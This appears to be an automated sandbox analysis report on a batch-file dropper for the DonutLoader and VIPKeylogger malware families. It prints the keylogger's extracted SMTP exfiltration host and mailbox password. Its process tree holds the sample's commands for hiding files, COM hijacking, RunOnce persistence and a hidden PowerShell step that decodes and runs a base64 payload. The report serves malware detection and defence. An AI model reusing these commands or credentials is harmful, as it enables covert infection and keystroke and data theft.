Analysis
- max time kernel
150s - max time network
93s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
21/04/2026, 11:30
General
- Target GRD_2026_09_1935R1_PDF.bat
- Size 239KB
- Sample260421-nmacpsdw6k
- SHA256 eff24f11217a55389b6767408b0ad59e692d54ce8583e887e7044efc047dd6f8
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
iz5$#j)Fq(0g+?Hh
-
Email to
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 59 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\GRD_2026_09_1935R1_PDF.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\GRD_2026_09_1935R1_PDF.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Responsibility.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{982483DC-1161-70A5-17C0-843F2C451182}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "generate" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Responsibility.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\REMAIN.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Lunch.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Lunch.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u1gx40a0\u1gx40a0.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES506D.tmp" "c:\Users\Admin\AppData\Local\Temp\u1gx40a0\CSCC9930C5D878E4D8D9EF4A18127AB46D6.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Lunch.ps1
REMAIN.tmp
REMAIN.tmp
RES506D.tmp
__PSScriptPolicyTest_y5fsqraq.ys1.ps1
u1gx40a0.dll
Responsibility.bat
CSCC9930C5D878E4D8D9EF4A18127AB46D6.TMP
u1gx40a0.0.cs
u1gx40a0.cmdline
memory/496-53-0x0000024CCF880000-0x0000024CCF890000-memory.dmp
memory/496-52-0x0000024CCF880000-0x0000024CCF890000-memory.dmp
memory/496-60-0x0000024CE9780000-0x0000024CE97A2000-memory.dmp
memory/496-66-0x0000024CE97B0000-0x0000024CE981F000-memory.dmp
memory/496-65-0x0000024CD1460000-0x0000024CD1472000-memory.dmp
memory/3124-89-0x0000000002C50000-0x0000000002C71000-memory.dmp
memory/3124-93-0x00000000049E0000-0x0000000004A2A000-memory.dmp
memory/4360-88-0x0000027BE0A40000-0x0000027BE0A48000-memory.dmp
memory/4360-90-0x0000027BC8420000-0x0000027BC8432000-memory.dmp
memory/4360-91-0x0000027BE0A80000-0x0000027BE0AEF000-memory.dmp
memory/4360-96-0x0000027BE0A80000-0x0000027BE0AEF000-memory.dmp